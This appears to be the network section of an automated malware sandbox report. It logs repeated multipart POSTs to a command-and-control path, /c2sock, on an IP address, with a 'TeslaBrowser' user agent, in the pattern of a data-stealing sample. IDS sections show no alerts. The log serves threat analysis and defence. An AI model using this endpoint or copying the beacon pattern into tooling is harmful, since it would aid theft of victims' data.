Network Analysis
| IP Address | Status | Action |
|---|---|---|
| 185.99.133.246 | Active | Moloch |
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
- TCP Requests
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 19969
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:49 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=jvnhb9mq18uc92upfjn5qf29kl; expires=Tue, 12 Sep 2023 02:44:25 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=l97urkq67ro4f2ktcorcmcm5gh; expires=Tue, 12 Sep 2023 02:44:29 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 1337663
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:54 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=uj6c2vg05h6l753mpd8mku7p8q; expires=Tue, 12 Sep 2023 02:44:33 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:55 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=vt158vttchnv02mtvh9s547ifc; expires=Tue, 12 Sep 2023 02:44:34 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:56 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=jmdgpv7kuq3fed855eatd9vgbb; expires=Tue, 12 Sep 2023 02:44:35 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 23064
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:57 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=l8dcsulmggse62h08tmg6h1pn0; expires=Tue, 12 Sep 2023 02:44:36 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 1296
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:58 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=5t1601espbpc4pl3jga7atmlcr; expires=Tue, 12 Sep 2023 02:44:37 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 36322
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:57:59 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=8krdlp2lsksgecsbsg2faejobd; expires=Tue, 12 Sep 2023 02:44:38 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:58:00 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=6av19hnc618c8d5492epae0a87; expires=Tue, 12 Sep 2023 02:44:39 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:58:01 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=dn3r6s3ilg0t3lurnknrnqkpjq; expires=Tue, 12 Sep 2023 02:44:40 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:58:02 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=t56aog7m8dn3nek6gq1b4qvblk; expires=Tue, 12 Sep 2023 02:44:41 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:58:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=rkb8pb1ip0adf2fl5mvsrqm4sp; expires=Tue, 12 Sep 2023 02:44:41 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:58:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=lqfhcca55u1esimbeqvqadts1p; expires=Tue, 12 Sep 2023 02:44:42 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
POST
200
http://185.99.133.246/c2sock
REQUEST
RESPONSE
BODY
POST /c2sock HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: TeslaBrowser/5.5
Content-Length: 440
Host: 185.99.133.246
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 19 May 2023 08:58:04 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 5
Connection: keep-alive
X-Powered-By: PHP/8.2.4
Set-Cookie: PHPSESSID=al3ddi1626md5uh7afgvs2hadg; expires=Tue, 12 Sep 2023 02:44:43 GMT; Max-Age=9999999; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts